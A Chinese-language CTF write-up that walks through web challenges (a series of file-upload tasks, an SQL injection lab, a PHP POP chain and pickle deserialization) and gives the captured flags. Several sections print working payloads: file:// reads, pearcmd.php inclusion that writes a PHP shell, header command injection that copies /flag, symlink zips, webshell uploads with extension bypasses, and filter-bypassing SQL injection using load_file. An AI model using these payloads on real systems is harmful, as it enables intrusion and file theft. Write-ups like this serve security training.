by:Infernity
zupload
给了源码,看下index.php
1 |
|
我把注释打在上面。
所以打入?action=/flag即可读出flag。
begin{jUS7_r34d_ace11d9d89a0}
zupload-pro
这里重复的代码块不再列出,就列出主要代码块。
1 | if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) { |
现在我们的action的参数第一个不能是/,且不能有..
我本来第一反应是第一个不能是斜杠,那么就目录穿越../../../flag
但是这里直接把..ban了。
file_get_contents函数有个性质,可以用伪协议,这里直接加入file://伪协议读文件
?action=file:///flag
begin{1s_tHlS_4_W3b5hEI1_0ca746cb0902}
zupload-pro-plus
题出的真撇=-=
跟上一题的payload一模一样直接过。
begin{5trAN6e_suFflX_57341c648eaa}
zupload-pro-plus-max
1 | if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) { |
这里关键函数被改成了include,判断条件为第一个不能是/,而且payload里最多一个/
这里相当于禁用了伪协议,因为伪协议都是xxx://开头的,而且禁用了目录穿越,目录穿越一般也要很多斜杠。
发现pearcmd.php在当前目录可以裸文件包含
?action=pearcmd.php&+config-create+/<?=`env`?>+/var/www/html/1.php
然后去看1.php直接找到flag
begin{EV1l_Z1P_e022ad893425}
zupload-pro-plus-max-ultra
一眼丁真,这里没有任何可以包含文件的地方,只有一个关键函数exec()这个函数可以执行命令,但是无回显。
我把关键代码块列出:
1 | $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/'; |
就这两句,第一句是检查请求头中有没有X-EXTRACT-TO头,如果没有,就$extract_to=’uploads/‘;
那么要做什么显而易见了,我们在上传文件的时候手动添加一个请求头,把请求头的参数设置为我们的payload,然后系统就会自动执行了。
这里先/tmp;满足前面unzip name -d path的条件,然后分号执行我们下面的命令,由于他无回显,我们就把flag放到当前目录,然后再打开即可。
X-EXTRACT-TO:/tmp;cat /flag>/var/www/html/1.txt
执行完毕后,打开1.txt拿到flag
begin{cMD_lNjECTeD_2d9d7d54c4a2}
zupload-pro-plus-max-ultra-premium
这道题吧文件名加密后还经过安全处理,我们完全不能通过exec函数下手了,但是这道题还是给我们解压了,所以可以用软链接的方式拿到flag
新建一个空白文件夹,在文件夹里打开终端,打入以下命令。
ln -s /flag flag
zip -y flag.zip flag
然后把flag.zip上传,进入uploads/flag
下载下来后就是我们需要的flag了。
begin{s0_sOFt_039762d9dda7}
zupload-pro-revenge
查看源码,发现没有后端验证,传一个zip,然后抓包改成php即可,直接连。
flag{34dd54d7-4e2f-4441-973a-d3f79c226858}
zupload-pro-plus-enhanced
源码里有这样一段$file_ext = strtolower($file_ext[1]);
这是看后缀的倒数第二个检查是不是zip
所以传文件为xxx.zip,然后抓包,改为xxx.zip.php
这就是我们的马了,直接连上去就好了。
flag{cf280ea2-db60-48af-bea2-ab6070f41f30}
SQL 注入教学局
过滤空格,and,or,select,load,from
这些都可以双写绕过
1’//union//selselectect//group_concat(flag)//frfromom/**/secret.passwoorrd#
这是第一段flag{bc925e53-
第二段给了表名列名直接查就行
1’//union//selselectect//grade//frfromom//scoorre//where//student//like/**/‘begin’#
92c5-4a28-9ddc
1’//union//selselectect/**/loloadad_file(“/flag”)#
这是第三段-37ea50e97afe}
flag{bc925e53-92c5-4a28-9ddc-37ea50e97afe}
POPgadget
1 |
|
最后注意call_user_func和call_user_func_array的用法和参数位置即可。
flag{fc369b30-0f07-4be7-9b95-34716bfce712}
pickelshop
一眼pickel反序列化,在注册界面注册,发现给了一个cookie
那么就在登录界面打payload:
1 | import pickle |
cookie:user=………………
然后在服务器上监听2333端口
发包,拿到flag。
flag{9ef7a78b-4e25-4d80-b805-90e5aa152f61}